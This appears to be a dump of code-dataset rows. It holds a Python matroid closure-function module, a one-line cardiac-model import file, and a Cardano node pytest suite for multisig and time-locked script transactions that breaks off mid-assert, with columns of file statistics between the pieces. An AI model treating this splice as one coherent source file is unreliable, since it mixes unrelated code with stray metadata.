from functools import reduce from operator import and_ from typing import Callable, TypeVar import matroids.construct.independent_sets as independent_sets import matroids.construct.rank_function as rank_function T = TypeVar('T') def from_independent_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by independent sets. Args: matroid (tuple[set[T], list[set[T]]]): A matroid defined by independent sets. Returns: Callable[[set[T]], set[T]]: The gained closure function of a given matroid. """ E, _ = matroid return from_rank_matroid((E, rank_function.from_independent_matroid(matroid))) def from_dependent_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by dependent sets. Args: matroid (tuple[set[T], list[set[T]]]): A matroid defined by dependent sets. Returns: Callable[[set[T]], set[T]]: A closure function of a given matroid. """ E, _ = matroid return from_independent_matroid((E, independent_sets.from_dependent_matroid(matroid))) def from_bases_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by bases. Args: matroid (tuple[set[T], list[set[T]]]): Matroid defined by bases. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, _ = matroid return from_rank_matroid((E, rank_function.from_bases_matroid(matroid))) def from_circuits_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by circuits. Args: matroid (tuple[set[T], list[set[T]]]): A matroid defined by circuits. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, Cs = matroid # cl(X) = X ∪ { e ∈ E : ∃C ∈ Cs s.t. e ∈ C ⊆ X ∪ {e} } return lambda X: X | { e for e in E if any(map(lambda C: e in C and C <= X | {e}, Cs))} def from_rank_matroid(matroid: tuple[set[T], Callable[[set[T]], int]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by a rank function. Args: matroid (tuple[set[T], Callable[[set[T]], int]]): A matroid defined by a rank function. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, r = matroid # cl(X) = { e ∈ E | r(X) = r(X ∪ {e}) }, ∀X ⊆ E return lambda X: {e for e in E if r(X) == r(X | {e})} def from_nulity_matroid(matroid: tuple[set[T], Callable[[set[T]], int]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by a nulity function. Args: matroid (tuple[set[T], Callable[[set[T]], int]]): A matroid defined by a nulity function. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, n = matroid # cl(X) = { e ∈ E | n(X ∪ {e}) - n(X) = |X ∪ {e}| - |X| }, ∀X ⊆ E return lambda X: { e for e in E if n(X | {e}) - n(X) == len(X | {e}) - len(X) } def from_flats_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by flats. Args: matroid (tuple[set[T], list[set[T]]]): A matroid defined by flats. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, Fs = matroid # cl(X) = ∩ { F ∈ Fs : X ⊆ F } return lambda X: reduce(and_, (F for F in Fs if X <= F), E) def from_open_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by open sets. Args: matroid (tuple[set[T], list[set[T]]]): A matroid defined by open sets. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, _ = matroid return from_rank_matroid((E, rank_function.from_open_matroid(matroid))) def from_hyperplanes_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by hyperplanes. Args: matroid (tuple[set[T], list[set[T]]]): A matroid defined by hyperplanes. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, _ = matroid return from_rank_matroid((E, rank_function.from_hyperplanes_matroid(matroid))) def from_spanning_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], set[T]]: """Construct a closure function from a matroid defined by spanning sets. Args: matroid (tuple[set[T], list[set[T]]]): A matroid defined by spanning sets. Returns: Callable[[set[T]], set[T]]: The closure function of a given matroid. """ E, _ = matroid return from_rank_matroid((E, rank_function.from_spanning_matroid(matroid)))
35.943662
103
0.632837
794
5,104
4.013854
0.081864
0.100408
0.090367
0.100408
0.781613
0.766552
0.738312
0.720113
0.701914
0.701914
0
0
0.211991
5,104
142
104
35.943662
0.787668
0.504114
0
0.166667
0
0
0.000441
0
0
0
0
0
0
1
0.277778
false
0
0.138889
0
0.694444
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
7
479ebc4dc2113dba20b28a99ff29cc527c9e70c9
91
py
Python
finitewave/cpuwave2D/model/aliev_panfilov_2d/__init__.py
ArsOkenov/Finitewave
14274d74be824a395b47a5c53ba18188798ab70d
[ "MIT" ]
null
null
null
finitewave/cpuwave2D/model/aliev_panfilov_2d/__init__.py
ArsOkenov/Finitewave
14274d74be824a395b47a5c53ba18188798ab70d
[ "MIT" ]
null
null
null
finitewave/cpuwave2D/model/aliev_panfilov_2d/__init__.py
ArsOkenov/Finitewave
14274d74be824a395b47a5c53ba18188798ab70d
[ "MIT" ]
2
2021-10-05T13:38:56.000Z
2022-03-05T15:58:08.000Z
from finitewave.cpuwave2D.model.aliev_panfilov_2d.aliev_panfilov_2d import AlievPanfilov2D
45.5
90
0.912088
12
91
6.583333
0.75
0.329114
0.379747
0
0
0
0
0
0
0
0
0.045977
0.043956
91
1
91
91
0.862069
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
47dabb13dac429477d9750bdebb7fdd38244a225
50,337
py
Python
cardano-node-tests/cardano_node_tests/tests/test_scripts.py
MitchellTesla/Cardano-SCK
f394506eb0875622093805c009951f6905261778
[ "Apache-2.0" ]
6
2021-08-30T00:49:12.000Z
2022-01-27T07:07:53.000Z
cardano-node-tests/cardano_node_tests/tests/test_scripts.py
c-spider/Cardano-SCK
1accb0426289489e371eb67422ccb19ffaab5f3c
[ "Apache-2.0" ]
17
2021-08-31T23:27:44.000Z
2022-03-25T20:35:16.000Z
cardano-node-tests/cardano_node_tests/tests/test_scripts.py
c-spider/Cardano-SCK
1accb0426289489e371eb67422ccb19ffaab5f3c
[ "Apache-2.0" ]
3
2021-05-20T08:26:00.000Z
2022-03-27T22:31:36.000Z
"""Tests for multisig transactions and scripts. * multisig * time locking * auxiliary scripts """ import json import logging import random from pathlib import Path from typing import List from typing import Optional import allure import cbor2 import pytest from _pytest.tmpdir import TempdirFactory from cardano_clusterlib import clusterlib from cardano_node_tests.utils import cluster_management from cardano_node_tests.utils import clusterlib_utils from cardano_node_tests.utils import dbsync_utils from cardano_node_tests.utils import helpers from cardano_node_tests.utils.versions import VERSIONS LOGGER = logging.getLogger(__name__) DATA_DIR = Path(__file__).parent / "data" @pytest.fixture(scope="module") def create_temp_dir(tmp_path_factory: TempdirFactory): """Create a temporary dir.""" p = Path(tmp_path_factory.getbasetemp()).joinpath(helpers.get_id_for_mktemp(__file__)).resolve() p.mkdir(exist_ok=True, parents=True) return p @pytest.fixture def temp_dir(create_temp_dir: Path): """Change to a temporary dir.""" with helpers.change_cwd(create_temp_dir): yield create_temp_dir # use the "temp_dir" fixture for all tests automatically pytestmark = pytest.mark.usefixtures("temp_dir") def multisig_tx( cluster_obj: clusterlib.ClusterLib, temp_template: str, src_address: str, dst_address: str, amount: int, payment_skey_files: List[Path], multisig_script: Optional[Path] = None, invalid_hereafter: Optional[int] = None, invalid_before: Optional[int] = None, ) -> clusterlib.TxRawOutput: """Build and submit multisig transaction.""" # record initial balances src_init_balance = cluster_obj.get_address_balance(src_address) dst_init_balance = cluster_obj.get_address_balance(dst_address) # create TX body tx_files = ( clusterlib.TxFiles(script_files=clusterlib.ScriptFiles(txin_scripts=[multisig_script])) if multisig_script else None ) destinations = [clusterlib.TxOut(address=dst_address, amount=amount)] witness_count_add = len(payment_skey_files) if multisig_script: # TODO: workaround for https://github.com/input-output-hk/cardano-node/issues/1892 witness_count_add += 5 ttl = cluster_obj.calculate_tx_ttl() fee = cluster_obj.calculate_tx_fee( src_address=src_address, tx_name=temp_template, txouts=destinations, tx_files=tx_files, ttl=ttl, witness_count_add=witness_count_add, ) tx_raw_output = cluster_obj.build_raw_tx( src_address=src_address, tx_name=temp_template, txouts=destinations, tx_files=tx_files, fee=fee, ttl=ttl, invalid_hereafter=invalid_hereafter, invalid_before=invalid_before, ) # create witness file for each key witness_files = [ cluster_obj.witness_tx( tx_body_file=tx_raw_output.out_file, witness_name=f"{temp_template}_skey{idx}", signing_key_files=[skey], ) for idx, skey in enumerate(payment_skey_files) ] # sign TX using witness files tx_witnessed_file = cluster_obj.assemble_tx( tx_body_file=tx_raw_output.out_file, witness_files=witness_files, tx_name=temp_template, ) # submit signed TX cluster_obj.submit_tx(tx_file=tx_witnessed_file, txins=tx_raw_output.txins) # check final balances assert ( cluster_obj.get_address_balance(src_address) == src_init_balance - tx_raw_output.fee - amount ), f"Incorrect balance for source address `{src_address}`" assert ( cluster_obj.get_address_balance(dst_address) == dst_init_balance + amount ), f"Incorrect balance for script address `{dst_address}`" return tx_raw_output @pytest.mark.testnets class TestBasic: """Basic tests for multisig transactions.""" @pytest.fixture def payment_addrs( self, cluster_manager: cluster_management.ClusterManager, cluster: clusterlib.ClusterLib, ) -> List[clusterlib.AddressRecord]: """Create new payment addresses.""" with cluster_manager.cache_fixture() as fixture_cache: if fixture_cache.value: return fixture_cache.value # type: ignore addrs = clusterlib_utils.create_payment_addr_records( *[f"multi_addr_ci{cluster_manager.cluster_instance_num}_{i}" for i in range(20)], cluster_obj=cluster, ) fixture_cache.value = addrs # fund source addresses clusterlib_utils.fund_from_faucet( addrs[0], cluster_obj=cluster, faucet_data=cluster_manager.cache.addrs_data["user1"], amount=20_000_000, ) return addrs @allure.link(helpers.get_vcs_link()) def test_script_addr_length( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Check that script address length is the same as lenght of other addresses. There was an issue that script address was 32 bytes instead of 28 bytes. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # check script address length assert len(script_address) == len(payment_addrs[0].address) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_multisig_all( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send funds to and from script address using the *all* script.""" temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_out_to = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=2_000_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address tx_out_from = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=payment_skey_files, multisig_script=multisig_script, ) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_to) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_from) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_multisig_any( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send funds using the *any* script. * send funds to script address * send funds from script address using single witness * send funds from script address using multiple witnesses """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] skeys_len = len(payment_skey_files) # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ANY, payment_vkey_files=payment_vkey_files, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) tx_raw_outputs = [] # send funds to script address tx_raw_outputs.append( multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=5_000_000, payment_skey_files=[payment_skey_files[0]], ) ) # send funds from script address using single witness for i in range(5): tx_raw_outputs.append( multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_single_{i}", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=[payment_skey_files[random.randrange(0, skeys_len)]], multisig_script=multisig_script, ) ) # send funds from script address using multiple witnesses for i in range(5): num_of_skeys = random.randrange(2, skeys_len) tx_raw_outputs.append( multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_multi_{i}", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=random.sample(payment_skey_files, k=num_of_skeys), multisig_script=multisig_script, ) ) for tx_out in tx_raw_outputs: dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_multisig_atleast( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send funds to and from script address using the *atLeast* script.""" temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] skeys_len = len(payment_skey_files) required = skeys_len - 4 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.AT_LEAST, payment_vkey_files=payment_vkey_files, required=required, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) tx_raw_outputs = [] # send funds to script address tx_raw_outputs.append( multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=2_000_000, payment_skey_files=[payment_skey_files[0]], ) ) # send funds from script address for i in range(5): num_of_skeys = random.randrange(required, skeys_len) tx_raw_outputs.append( multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_{i}", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=random.sample(payment_skey_files, k=num_of_skeys), multisig_script=multisig_script, ) ) for tx_out in tx_raw_outputs: dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_normal_tx_to_script_addr( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send funds to script address using TX signed with skeys (not using witness files).""" temp_template = helpers.get_func_name() src_address = payment_addrs[0].address amount = 1000 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=[p.vkey_file for p in payment_addrs], ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # record initial balances src_init_balance = cluster.get_address_balance(src_address) dst_init_balance = cluster.get_address_balance(script_address) # send funds to script address destinations = [clusterlib.TxOut(address=script_address, amount=amount)] tx_files = clusterlib.TxFiles(signing_key_files=[payment_addrs[0].skey_file]) tx_raw_output = cluster.send_funds( src_address=src_address, tx_name=temp_template, destinations=destinations, tx_files=tx_files, ) # check final balances assert ( cluster.get_address_balance(src_address) == src_init_balance - tx_raw_output.fee - amount ), f"Incorrect balance for source address `{src_address}`" assert ( cluster.get_address_balance(script_address) == dst_init_balance + amount ), f"Incorrect balance for destination address `{script_address}`" dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_normal_tx_from_script_addr( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send funds from script address using TX signed with skeys (not using witness files).""" temp_template = helpers.get_func_name() dst_addr = payment_addrs[1] amount = 1000 payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ANY, payment_vkey_files=payment_vkey_files, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_out_to = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=300_000, payment_skey_files=[payment_skey_files[0]], ) # record initial balances src_init_balance = cluster.get_address_balance(script_address) dst_init_balance = cluster.get_address_balance(dst_addr.address) # send funds from script address destinations = [clusterlib.TxOut(address=dst_addr.address, amount=amount)] tx_files = clusterlib.TxFiles( script_files=clusterlib.ScriptFiles(txin_scripts=[multisig_script]), signing_key_files=[dst_addr.skey_file], ) tx_out_from = cluster.send_tx( src_address=script_address, tx_name=f"{temp_template}_from", txouts=destinations, tx_files=tx_files, ) # check final balances assert ( cluster.get_address_balance(script_address) == src_init_balance - tx_out_from.fee - amount ), f"Incorrect balance for script address `{script_address}`" assert ( cluster.get_address_balance(dst_addr.address) == dst_init_balance + amount ), f"Incorrect balance for destination address `{dst_addr.address}`" dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_to) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_from) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_multisig_empty_all( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send funds from script address using the *all* script with zero skeys.""" temp_template = helpers.get_func_name() payment_skey_files = [p.skey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=(), ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_out_to = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=2_000_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address tx_out_from = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=[payment_skey_files[0]], multisig_script=multisig_script, ) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_to) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_from) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync @pytest.mark.xfail def test_multisig_no_required_atleast( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send funds from script address using the *atLeast* script with no required witnesses.""" temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.AT_LEAST, payment_vkey_files=payment_vkey_files, required=0, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_out_to = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=2_000_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address tx_out_from = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=[], multisig_script=multisig_script, ) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_to) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_from) @pytest.mark.testnets class TestNegative: """Transaction tests that are expected to fail.""" @pytest.fixture def payment_addrs( self, cluster_manager: cluster_management.ClusterManager, cluster: clusterlib.ClusterLib, ) -> List[clusterlib.AddressRecord]: """Create new payment addresses.""" with cluster_manager.cache_fixture() as fixture_cache: if fixture_cache.value: return fixture_cache.value # type: ignore addrs = clusterlib_utils.create_payment_addr_records( *[ f"multi_neg_addr_ci{cluster_manager.cluster_instance_num}_{i}" for i in range(10) ], cluster_obj=cluster, ) fixture_cache.value = addrs # fund source addresses clusterlib_utils.fund_from_faucet( addrs[0], cluster_obj=cluster, faucet_data=cluster_manager.cache.addrs_data["user1"], ) return addrs @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_multisig_all_missing_skey( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Try to send funds from script address using the *all* script, omit one skey. Expect failure. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_raw_output = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=300_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address, omit one skey with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=payment_skey_files[:-1], multisig_script=multisig_script, ) assert "ScriptWitnessNotValidatingUTXOW" in str(excinfo.value) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_multisig_any_unlisted_skey( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Try to send funds from script address using the *any* script with unlisted skey. Expect failure. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs[:-1]] payment_skey_files = [p.skey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ANY, payment_vkey_files=payment_vkey_files, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_raw_output = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=300_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address, use skey that is not listed in the script with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=[payment_skey_files[-1]], multisig_script=multisig_script, ) assert "ScriptWitnessNotValidatingUTXOW" in str(excinfo.value) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_multisig_atleast_low_num_of_skeys( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Try to send funds from script address using the *atLeast* script. Num of skeys < required. Expect failure. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] skeys_len = len(payment_skey_files) required = skeys_len - 4 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.AT_LEAST, payment_vkey_files=payment_vkey_files, required=required, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_raw_output = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=300_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address, use lower number of skeys then required for num_of_skeys in range(1, required): with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail{num_of_skeys}", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=random.sample(payment_skey_files, k=num_of_skeys), multisig_script=multisig_script, ) assert "ScriptWitnessNotValidatingUTXOW" in str(excinfo.value) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @pytest.mark.testnets @pytest.mark.skipif( VERSIONS.transaction_era < VERSIONS.ALLEGRA, reason="runs only with Allegra+ TX", ) class TestTimeLocking: """Tests for time locking.""" # TODO: convert to property-based tests @pytest.fixture def payment_addrs( self, cluster_manager: cluster_management.ClusterManager, cluster: clusterlib.ClusterLib, ) -> List[clusterlib.AddressRecord]: """Create new payment addresses.""" with cluster_manager.cache_fixture() as fixture_cache: if fixture_cache.value: return fixture_cache.value # type: ignore addrs = clusterlib_utils.create_payment_addr_records( *[ f"multi_addr_time_locking_ci{cluster_manager.cluster_instance_num}_{i}" for i in range(20) ], cluster_obj=cluster, ) fixture_cache.value = addrs # fund source addresses clusterlib_utils.fund_from_faucet( addrs[0], cluster_obj=cluster, faucet_data=cluster_manager.cache.addrs_data["user1"], amount=20_000_000, ) return addrs @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_script_after( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Check that it is possible to spend from script address after given slot.""" temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, slot=100, slot_type_arg=clusterlib.MultiSlotTypeArgs.AFTER, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_out_to = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=2_000_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address tx_out_from = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=100, invalid_hereafter=cluster.get_slot_no() + 1000, ) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_to) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_from) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_script_before( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Check that it is possible to spend from script address before given slot.""" temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] before_slot = cluster.get_slot_no() + 10_000 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, slot=before_slot, slot_type_arg=clusterlib.MultiSlotTypeArgs.BEFORE, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_out_to = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=2_000_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address tx_out_from = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from", src_address=script_address, dst_address=payment_addrs[0].address, amount=1000, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=100, invalid_hereafter=cluster.get_slot_no() + 1000, ) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_to) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_out_from) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_before_past( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Check that it's NOT possible to spend from the script address. The "before" slot is in the past. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] before_slot = cluster.get_slot_no() - 1 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, slot=before_slot, slot_type_arg=clusterlib.MultiSlotTypeArgs.BEFORE, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_raw_output = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=500_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address - valid range, slot is already in the past with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail1", src_address=script_address, dst_address=payment_addrs[0].address, amount=10, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=1, invalid_hereafter=before_slot, ) assert "OutsideValidityIntervalUTxO" in str(excinfo.value) # send funds from script address - invalid range, slot is already in the past with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail2", src_address=script_address, dst_address=payment_addrs[0].address, amount=10, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=1, invalid_hereafter=before_slot + 1, ) assert 